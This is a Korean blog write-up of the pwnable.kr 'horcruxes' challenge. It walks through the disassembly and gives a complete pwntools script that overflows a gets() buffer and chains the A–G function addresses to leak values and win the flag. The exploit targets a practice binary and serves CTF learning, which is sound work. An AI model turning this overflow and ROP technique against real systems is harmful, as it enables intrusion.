해설

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!

 

rop 문제인 것 같다. 접속해보면 horcruxes라는 바이너리가 있다. 어셈 코드를 확인해보면, main에서 ropme라는 함수를 호출한다. ropme의 어셈 코드를 확인해보자

 

Dump of assembler code for function ropme:
   0x080a0009 <+0>:     push   ebp
   0x080a000a <+1>:     mov    ebp,esp
   0x080a000c <+3>:     sub    esp,0x78
   0x080a000f <+6>:     sub    esp,0xc
   0x080a0012 <+9>:     push   0x80a050c
   0x080a0017 <+14>:    call   0x809fc40 <printf@plt>
   0x080a001c <+19>:    add    esp,0x10
   0x080a001f <+22>:    sub    esp,0x8
   0x080a0022 <+25>:    lea    eax,[ebp-0x10]
   0x080a0025 <+28>:    push   eax
   0x080a0026 <+29>:    push   0x80a0519
   0x080a002b <+34>:    call   0x809fd10 <__isoc99_scanf@plt>
   0x080a0030 <+39>:    add    esp,0x10
   0x080a0033 <+42>:    call   0x809fc70 <getchar@plt>
   0x080a0038 <+47>:    mov    edx,DWORD PTR [ebp-0x10]
   0x080a003b <+50>:    mov    eax,ds:0x80a2088
   0x080a0040 <+55>:    cmp    edx,eax
   0x080a0042 <+57>:    jne    0x80a004e <ropme+69>
   0x080a0044 <+59>:    call   0x809fe4b <A>
   0x080a0049 <+64>:    jmp    0x80a0170 <ropme+359>
   0x080a004e <+69>:    mov    edx,DWORD PTR [ebp-0x10]
   0x080a0051 <+72>:    mov    eax,ds:0x80a2070
   0x080a0056 <+77>:    cmp    edx,eax
   0x080a0058 <+79>:    jne    0x80a0064 <ropme+91>
   0x080a005a <+81>:    call   0x809fe6a <B>
   0x080a005f <+86>:    jmp    0x80a0170 <ropme+359>
   0x080a0064 <+91>:    mov    edx,DWORD PTR [ebp-0x10]
   0x080a0067 <+94>:    mov    eax,ds:0x80a2084
   0x080a006c <+99>:    cmp    edx,eax
   0x080a006e <+101>:   jne    0x80a007a <ropme+113>
   0x080a0070 <+103>:   call   0x809fe89 <C>
   0x080a0075 <+108>:   jmp    0x80a0170 <ropme+359>
   0x080a007a <+113>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a007d <+116>:   mov    eax,ds:0x80a206c
   0x080a0082 <+121>:   cmp    edx,eax
   0x080a0084 <+123>:   jne    0x80a0090 <ropme+135>
   0x080a0086 <+125>:   call   0x809fea8 <D>
   0x080a008b <+130>:   jmp    0x80a0170 <ropme+359>
   0x080a0090 <+135>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a0093 <+138>:   mov    eax,ds:0x80a2080
   0x080a0098 <+143>:   cmp    edx,eax
   0x080a009a <+145>:   jne    0x80a00a6 <ropme+157>
   0x080a009c <+147>:   call   0x809fec7 <E>
   0x080a00a1 <+152>:   jmp    0x80a0170 <ropme+359>
   0x080a00a6 <+157>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a00a9 <+160>:   mov    eax,ds:0x80a2074
   0x080a00ae <+165>:   cmp    edx,eax
   0x080a00b0 <+167>:   jne    0x80a00bc <ropme+179>
   0x080a00b2 <+169>:   call   0x809fee6 <F>
   0x080a00b7 <+174>:   jmp    0x80a0170 <ropme+359>
   0x080a00bc <+179>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a00bf <+182>:   mov    eax,ds:0x80a207c
   0x080a00c4 <+187>:   cmp    edx,eax
   0x080a00c6 <+189>:   jne    0x80a00d2 <ropme+201>
   0x080a00c8 <+191>:   call   0x809ff05 <G>
   0x080a00cd <+196>:   jmp    0x80a0170 <ropme+359>
   0x080a00d2 <+201>:   sub    esp,0xc
   0x080a00d5 <+204>:   push   0x80a051c
   0x080a00da <+209>:   call   0x809fc40 <printf@plt>
   0x080a00df <+214>:   add    esp,0x10
   0x080a00e2 <+217>:   sub    esp,0xc
   0x080a00e5 <+220>:   lea    eax,[ebp-0x74]
   0x080a00e8 <+223>:   push   eax
   0x080a00e9 <+224>:   call   0x809fc50 <gets@plt>
   0x080a00ee <+229>:   add    esp,0x10
   0x080a00f1 <+232>:   sub    esp,0xc
   0x080a00f4 <+235>:   lea    eax,[ebp-0x74]
   0x080a00f7 <+238>:   push   eax
   0x080a00f8 <+239>:   call   0x809fd20 <atoi@plt>
   0x080a00fd <+244>:   add    esp,0x10
   0x080a0100 <+247>:   mov    edx,eax
   0x080a0102 <+249>:   mov    eax,ds:0x80a2078
   0x080a0107 <+254>:   cmp    edx,eax
   0x080a0109 <+256>:   jne    0x80a0160 <ropme+343>
   0x080a010b <+258>:   sub    esp,0x8
   0x080a010e <+261>:   push   0x0
   0x080a0110 <+263>:   push   0x80a053c
   0x080a0115 <+268>:   call   0x809fcc0 <open@plt>
   0x080a011a <+273>:   add    esp,0x10
   0x080a011d <+276>:   mov    DWORD PTR [ebp-0xc],eax
   0x080a0120 <+279>:   sub    esp,0x4
   0x080a0123 <+282>:   push   0x64
   0x080a0125 <+284>:   lea    eax,[ebp-0x74]
   0x080a0128 <+287>:   push   eax
   0x080a0129 <+288>:   push   DWORD PTR [ebp-0xc]
   0x080a012c <+291>:   call   0x809fc30 <read@plt>
   0x080a0131 <+296>:   add    esp,0x10
   0x080a0134 <+299>:   mov    BYTE PTR [ebp+eax*1-0x74],0x0
   0x080a0139 <+304>:   sub    esp,0xc
   0x080a013c <+307>:   lea    eax,[ebp-0x74]
   0x080a013f <+310>:   push   eax
   0x080a0140 <+311>:   call   0x809fca0 <puts@plt>
   0x080a0145 <+316>:   add    esp,0x10
   0x080a0148 <+319>:   sub    esp,0xc
   0x080a014b <+322>:   push   DWORD PTR [ebp-0xc]
   0x080a014e <+325>:   call   0x809fd30 <close@plt>
   0x080a0153 <+330>:   add    esp,0x10
   0x080a0156 <+333>:   sub    esp,0xc
   0x080a0159 <+336>:   push   0x0
   0x080a015b <+338>:   call   0x809fcb0 <exit@plt>
   0x080a0160 <+343>:   sub    esp,0xc
   0x080a0163 <+346>:   push   0x80a0544
   0x080a0168 <+351>:   call   0x809fca0 <puts@plt>
   0x080a016d <+356>:   add    esp,0x10
   0x080a0170 <+359>:   mov    eax,0x0
   0x080a0175 <+364>:   leave
   0x080a0176 <+365>:   ret

 

코드를 보면 정수 입력을 받아서 A~G 함수 중 하나를 실행하거나, 경험치를 얼마 모았는지를 물어보는 출력문과 함께 gets로 스트링 입력을 받는데, 이 때 0x80a2078에 저장된 값과 비교하여 같을 경우 flag 값을 출력하도록 되어 있다. A부터 G 함수까지의 내용을 살펴보면, 호크룩스(해리포터를 안봤으면 모를수도 있다)를 모았다는 말과 함께 경험치를 얼마 얻었는지를 출력해준다.

 

여기까지 보고 유추해보면, A부터 G까지의 모든 호크룩스를 모아서 그 경험치 값을 더한 값이 아마 0x80a2078에 있는 값인것 같은데, 정말 맞는지 확인해보자 main에는 init_ABCDEFG라는 함수가 있다.

 

Dump of assembler code for function init_ABCDEFG:
   0x080a0177 <+0>:     push   ebp
   0x080a0178 <+1>:     mov    ebp,esp
   0x080a017a <+3>:     sub    esp,0x18
   0x080a017d <+6>:     sub    esp,0x8
   0x080a0180 <+9>:     push   0x0
   0x080a0182 <+11>:    push   0x80a0577
   0x080a0187 <+16>:    call   0x809fcc0 <open@plt>
   0x080a018c <+21>:    add    esp,0x10
   0x080a018f <+24>:    mov    DWORD PTR [ebp-0xc],eax
   0x080a0192 <+27>:    sub    esp,0x4
   0x080a0195 <+30>:    push   0x4
   0x080a0197 <+32>:    lea    eax,[ebp-0x10]
   0x080a019a <+35>:    push   eax
   0x080a019b <+36>:    push   DWORD PTR [ebp-0xc]
   0x080a019e <+39>:    call   0x809fc30 <read@plt>
   0x080a01a3 <+44>:    add    esp,0x10
   0x080a01a6 <+47>:    cmp    eax,0x4
   0x080a01a9 <+50>:    je     0x80a01c5 <init_ABCDEFG+78>
   0x080a01ab <+52>:    sub    esp,0xc
   0x080a01ae <+55>:    push   0x80a0584
   0x080a01b3 <+60>:    call   0x809fca0 <puts@plt>
   0x080a01b8 <+65>:    add    esp,0x10
   0x080a01bb <+68>:    sub    esp,0xc
   0x080a01be <+71>:    push   0x0
   0x080a01c0 <+73>:    call   0x809fcb0 <exit@plt>
   0x080a01c5 <+78>:    sub    esp,0xc
   0x080a01c8 <+81>:    push   DWORD PTR [ebp-0xc]
   0x080a01cb <+84>:    call   0x809fd30 <close@plt>
   0x080a01d0 <+89>:    add    esp,0x10
   0x080a01d3 <+92>:    mov    eax,DWORD PTR [ebp-0x10]
   0x080a01d6 <+95>:    sub    esp,0xc
   0x080a01d9 <+98>:    push   eax
   0x080a01da <+99>:    call   0x809fcd0 <srand@plt>
   0x080a01df <+104>:   add    esp,0x10
   0x080a01e2 <+107>:   call   0x809fd00 <rand@plt>
   0x080a01e7 <+112>:   imul   edx,eax,0xdeadbeef
   0x080a01ed <+118>:   cmp    edx,0xcafebabe
   0x080a01f3 <+124>:   setae  al
   0x080a01f6 <+127>:   movzx  eax,al
   0x080a01f9 <+130>:   imul   eax,eax,0xcafebabe
   0x080a01ff <+136>:   sub    edx,eax
   0x080a0201 <+138>:   mov    eax,edx
   0x080a0203 <+140>:   mov    ds:0x80a2088,eax
   0x080a0208 <+145>:   call   0x809fd00 <rand@plt>
   0x080a020d <+150>:   imul   edx,eax,0xdeadbeef
   0x080a0213 <+156>:   cmp    edx,0xcafebabe
   0x080a0219 <+162>:   setae  al
   0x080a021c <+165>:   movzx  eax,al
   0x080a021f <+168>:   imul   eax,eax,0xcafebabe
   0x080a0225 <+174>:   sub    edx,eax
   0x080a0227 <+176>:   mov    eax,edx
   0x080a0229 <+178>:   mov    ds:0x80a2070,eax
   0x080a022e <+183>:   call   0x809fd00 <rand@plt>
   0x080a0233 <+188>:   imul   edx,eax,0xdeadbeef
   0x080a0239 <+194>:   cmp    edx,0xcafebabe
   0x080a023f <+200>:   setae  al
   0x080a0242 <+203>:   movzx  eax,al
   0x080a0245 <+206>:   imul   eax,eax,0xcafebabe
   0x080a024b <+212>:   sub    edx,eax
   0x080a024d <+214>:   mov    eax,edx
   0x080a024f <+216>:   mov    ds:0x80a2084,eax
   0x080a0254 <+221>:   call   0x809fd00 <rand@plt>
   0x080a0259 <+226>:   imul   edx,eax,0xdeadbeef
   0x080a025f <+232>:   cmp    edx,0xcafebabe
   0x080a0265 <+238>:   setae  al
   0x080a0268 <+241>:   movzx  eax,al
   0x080a026b <+244>:   imul   eax,eax,0xcafebabe
   0x080a0271 <+250>:   sub    edx,eax
   0x080a0273 <+252>:   mov    eax,edx
   0x080a0275 <+254>:   mov    ds:0x80a206c,eax
   0x080a027a <+259>:   call   0x809fd00 <rand@plt>
   0x080a027f <+264>:   imul   edx,eax,0xdeadbeef
   0x080a0285 <+270>:   cmp    edx,0xcafebabe
   0x080a028b <+276>:   setae  al
   0x080a028e <+279>:   movzx  eax,al
   0x080a0291 <+282>:   imul   eax,eax,0xcafebabe
   0x080a0297 <+288>:   sub    edx,eax
   0x080a0299 <+290>:   mov    eax,edx
   0x080a029b <+292>:   mov    ds:0x80a2080,eax
   0x080a02a0 <+297>:   call   0x809fd00 <rand@plt>
   0x080a02a5 <+302>:   imul   edx,eax,0xdeadbeef
   0x080a02ab <+308>:   cmp    edx,0xcafebabe
   0x080a02b1 <+314>:   setae  al
   0x080a02b4 <+317>:   movzx  eax,al
   0x080a02b7 <+320>:   imul   eax,eax,0xcafebabe
   0x080a02bd <+326>:   sub    edx,eax
   0x080a02bf <+328>:   mov    eax,edx
   0x080a02c1 <+330>:   mov    ds:0x80a2074,eax
   0x080a02c6 <+335>:   call   0x809fd00 <rand@plt>
   0x080a02cb <+340>:   imul   edx,eax,0xdeadbeef
   0x080a02d1 <+346>:   cmp    edx,0xcafebabe
   0x080a02d7 <+352>:   setae  al
   0x080a02da <+355>:   movzx  eax,al
   0x080a02dd <+358>:   imul   eax,eax,0xcafebabe
   0x080a02e3 <+364>:   sub    edx,eax
   0x080a02e5 <+366>:   mov    eax,edx
   0x080a02e7 <+368>:   mov    ds:0x80a207c,eax
   0x080a02ec <+373>:   mov    edx,DWORD PTR ds:0x80a2088
   0x080a02f2 <+379>:   mov    eax,ds:0x80a2070
   0x080a02f7 <+384>:   add    edx,eax
   0x080a02f9 <+386>:   mov    eax,ds:0x80a2084
   0x080a02fe <+391>:   add    edx,eax
   0x080a0300 <+393>:   mov    eax,ds:0x80a206c
   0x080a0305 <+398>:   add    edx,eax
   0x080a0307 <+400>:   mov    eax,ds:0x80a2080
   0x080a030c <+405>:   add    edx,eax
   0x080a030e <+407>:   mov    eax,ds:0x80a2074
   0x080a0313 <+412>:   add    edx,eax
   0x080a0315 <+414>:   mov    eax,ds:0x80a207c
   0x080a031a <+419>:   add    eax,edx
   0x080a031c <+421>:   mov    ds:0x80a2078,eax
   0x080a0321 <+426>:   nop
   0x080a0322 <+427>:   leave
   0x080a0323 <+428>:   ret
End of assembler dump.

 

코드를 확인해보면 추측이 맞았음을 알 수 있는데, 랜덤으로 7개의 값(A~G)을 초기화하고, 이를 모두 더해서 0x80a2078에 저장한다.

 

즉, 우리는 A부터 G까지의 함수를 rop를 통해 몽땅 실행하고, 경험치 출력값을 모두 더해서 마지막에 던져주면 될 것 같다. 마침 gets 함수가 있어서 오버플로우도 일으킬 수 있겠다, 스택의 리턴 주소를 조작해서 rop를 하면 된다. 심지어 A부터 G까지의 함수들은 인자도 없기 때문에, rop 가젯이 필요없이 그냥 스택에 각 함수들의 주소만 차곡차곡 쌓으면 된다.

 

익스플로잇 코드는 다음과 같다.

 

from pwn import *

p = remote("localhost", 9032)
sum = 0
payload = "A"*120 + "\x4b\xfe\x09\x08" + "\x6a\xfe\x09\x08" + "\x89\xfe\x09\x08" + "\xa8\xfe\x09\x08" + "\xc7\xfe\x09\x08" + "\xe6\xfe\x09\x08" + "\x05\xff\x09\x08" + "\xfc\xff\x09\x08"

print(p.recvuntil("Select Menu:"))
p.sendline("1")
print(p.recvuntil("How many EXP did you earned? : "))
p.sendline(payload)

print(p.recvuntil("EXP +"))
a = long(p.recvuntil(")")[:-1])
print(a)
print(p.recvuntil("EXP +"))
sum = sum + a

b = long(p.recvuntil(")")[:-1])
print(b)
print(p.recvuntil("EXP +"))
sum = sum + b

c = long(p.recvuntil(")")[:-1])
print(c)
print(p.recvuntil("EXP +"))
sum = sum + c

d = long(p.recvuntil(")")[:-1])
print(d)
print(p.recvuntil("EXP +"))
sum = sum + d

e = long(p.recvuntil(")")[:-1])
print(e)
print(p.recvuntil("EXP +"))
sum = sum + e

f = long(p.recvuntil(")")[:-1])
print(f)
print(p.recvuntil("EXP +"))
sum = sum + f

g = long(p.recvuntil(")")[:-1])
print(g)
sum = sum + g

sum = sum & 0xFFFFFFFF

if(sum & 0x80000000):
        sum = -0x100000000 + sum

print(p.recvuntil("Select Menu:"))
p.sendline("1")
print(p.recvuntil("How many EXP did you earned? : "))
sum = str(sum)
print(sum)
p.sendline(sum)
print(p.recvline())

 

이로써 toddler 단계의 모든 문제에 대한 writeup을 작성했다. 사실 toddler 단계는 예전에 풀었던 것을 다시 풀면서 정리한 것이기 때문에 매끄럽게 정리 할 수 있었는데, rookie 부터는 그렇게 할 수 있을지는 잘 모르겠다. rookie 문제 부터는 의식의 흐름을 최대한 반영해서 글을 작성해야겠다

'pwn' 카테고리의 다른 글

pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - unlink  (0) 2020.08.04
pwnable.kr - asm  (0) 2020.07.22

+ Recent posts